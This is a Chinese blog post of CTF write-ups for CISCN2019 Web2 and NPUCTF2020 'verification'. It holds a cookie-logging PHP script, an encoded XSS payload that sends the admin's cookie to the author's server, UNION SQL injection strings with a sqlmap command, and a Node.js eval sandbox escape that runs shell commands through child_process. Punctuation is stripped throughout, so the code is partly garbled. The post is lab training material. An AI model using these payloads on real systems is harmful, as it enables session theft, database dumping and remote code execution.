风雨同舟网站建设,wordpress默认播放器怎么用,艺术字体在线生成器英文,公司简介模板英文版[CISCN2019 华东北赛区]Web2
看wp写完之后写的
知识点
存储型XSS与过滤绕过sql注入
题解
好几个页面#xff0c;存在登录框可以注册#xff0c;存在管理员页面(admin.php)
-既然存在管理员页面#xff0c;且直接访问admin.php提示我们 说明存在身份验证#xff0…[CISCN2019 华东北赛区]Web2
看wp写完之后写的
知识点
存储型XSS与过滤绕过sql注入
题解
好几个页面存在登录框可以注册存在管理员页面(admin.php)
-既然存在管理员页面且直接访问admin.php提示我们 说明存在身份验证我能够想到的只有Cookie和Session验证那应该就是获取或者伪造了
-伪造没有发现jwt格式或类似的数据
-获取能够想到的只有xss
根据投稿页面提示信息更加明确就是xss了 也就是说这里上传XSSpayload然后去反馈页面将上传到的网址提交一下管理员会去访问 - 从而获取管理员身份信息
- 需要公网IP存在Http服务 过滤了将() - 看wp了根本不会绕过 编码网址
1.在服务器网站下创建一个php文件用来之后管理员的访问 - 从而获取管理员Cookie
?php$cookie $_GET[cookie];$time date(Y-m-d h:i:s, time());$log fopen(cookie.txt, a); # a模式是追加模式在文件末尾添加内容fwrite($log,$time.: . $cookie . \n);fclose($log);
?这个php文件需要一个Get参数 - 当我们传入document.cookie时会获取自己访问该网站的Cookie
写入cookie.txt文件中
# Xsspayload
in_str (function(){location.hrefhttp://IP/127.php?cookiedocument.cookie})();output # 绕过waf部分
for c in in_str:output # str(ord(c))print(svgscripteval#40#34 output #34#41/script)可能有点乱先后顺序过一遍
1.上传XssPayload - 获取上传的网址 先别管waf部分看in_str的内容 - function(){}() js语言这个函数会自动调用, location.href 跳转命令 后面是 跳转到公网IP的php文件url参数是cookie值是document.cookie用来获取管理员Cookie值 上传的url4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/post/02595e9379a689c1140ed4a2b3656700.html 这里要看一眼题目介绍要将前面的改成web.node5.buuoj.cn 2.然后在反馈的地方输入url让管理员去检查 - 从而触发跳转 之后一系列 - 致使管理员Cookie写入到cookie.txt文件中 这个验证码写一个py脚本就行了我直接复制的wp中的 import hashlibdef func(md5_val):for x in range(999999, 100000000):x str(x).encode(UTF-8)md5_value hashlib.md5(x).hexdigest()if md5_value[:6] md5_val:return str(x)if __name__ __main__:print(func(277f26))3.获取Cookie之后访问admin.php之后的每一步都要抓包修改Cookie或者其他修改Cookie的方式都可以 之后就是sql注入了[ 整数闭合注入 ] - 唯一的一点就是每一次都要修改Cookie, 在Bp中直接发送的话, 又因为Get参数编码的问题,
-可以使用Postman
-2 union select 1,2,3#-2 union select 1,database(),user()#-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemaciscn#-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameflag#-2 union select 1,2,group_concat(flagg) from flag#或者用sqlmap跑指定一下Cookie参数
sqlmap -u http://4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/admin.php?id1 --cookiePHPSESSID6acc57b9d1aa6f6e94a23ea4286a182e -D ciscn -T flag --dump --batch另外说一下我看那个Xsspayload编码绕过估计是通用的哎只要将明文改一下就跟着编码了 我的payload用的是公网的Wp中是Xss平台不一样的但是编码部分我没改也能过
wp
[NPUCTF2020]验证
知识点
nodejs下的md5绕过Nodejs下的RCE
题解
给出了源码, 主要看两部分
function saferEval(str) {if (str.replace(/(?:Math(?:\.\w)?)|[()\-*/|^%,?:]|(?:\d\.?\d*(?:e\d)?)| /g, )) {return null;}return eval(str);
} // 2020.4/WORKER1 淦上次的库太垃圾我自己写了一个if (first second first.length second.length first!second md5(firstkeys[0]) md5(secondkeys[0])) {if (req.body.e) {try {result saferEval(req.body.e) || Wrong Wrong Wrong!!!;# 来到这里, 进入safeEval函数, 绕过正则表达式, 执行eval函数}Part1满足if
nodejs中有类似于PHP的弱类型比较 在nodejs中数值类型没有长度length只是一个属性 nodejs中任何数据类型与string类型相加时都会强制转换为字符串类型 之前没写过nodejs代码跟着练练
const crypto require(crypto)var key abc
var a1 1 key[0]
var b1 [1] key[0]console.log(a1) # 1a
console.log(b1) # 1aconst hashA crypto.createHash(md5)
hashA.update(a1)
const a hashA.digest(hex)
console.log(a) # efaa153b0f682ae5170a3184fa0df28cconst hashB crypto.createHash(md5)
hashB.update(b1)
const b hashB.digest(hex)
console.log(b) # efaa153b0f682ae5170a3184fa0df28c故Payload1{“e”:paylod,“first”:[1],“second”:“1”}
Part2绕过正则
第一步 - 分析正则
我看不太懂有些有特定的含义一部分一部分复制到regx101中试试
/(?:Math(?:\.\w)?)|[()\-*/|^%,?:]|(?:\d\.?\d*(?:e\d)?)| /g
1.(?:Math(?:\.\w)?)匹配以Math.[0-9a-zA-Z_]
2.[()\-*/|^%,?:]这里是匹配其中任一的符号
3.(?:\d\.?\d*(?:e\d)?)数字 加 点 加数字 加e 加数字在reg中试吧
4 匹配空格
后面就是如何在绕过正则的基础上构造Poc - -包不会的看wp
首先箭头函数 (Math( MathMath.constructor, Math.xMath.constructor( Math.fromCharCode( 114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41) )()))(Math1)上面这个js代码我不知道是在干嘛不清楚但是能看到 construcor加上wp的说明感觉是找到Function这个原型
个人理解Math也是一个对象[满足正则] - 找到Function原型 - 从而调用命令函数
(Math( MathMath.constructor, Math.xMath.constructor( Math.fromCharCode(return process.mainModule.require(child_process).execSync(cat /flag))) )() )(Math1)#Exp.py
import re
encode lambda code: list(map(ord,code))
#decode lambda code: .join(map(chr,code))
af
(m0( m0m0.constructor, m0.xm0.constructor( m0.fromCharCode({encode(return process.mainModule.require(child_process).execSync(cat /flag))}) )() ))(Math1) print(a\n)
are.sub(r[\s\[\]], , a).replace(m0,Math)
print(a)#需要json格式发送 --- 使用python发送requests请求import requestsurl http://4b041973-c5be-4195-b945-33b5fd95126f.node5.buuoj.cn:81/
json {e:(Math(MathMath.constructor,Math.xMath.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math1),first:[1],second:1}res requests.post(urlurl, jsonjson)
print(res.text)参考
wp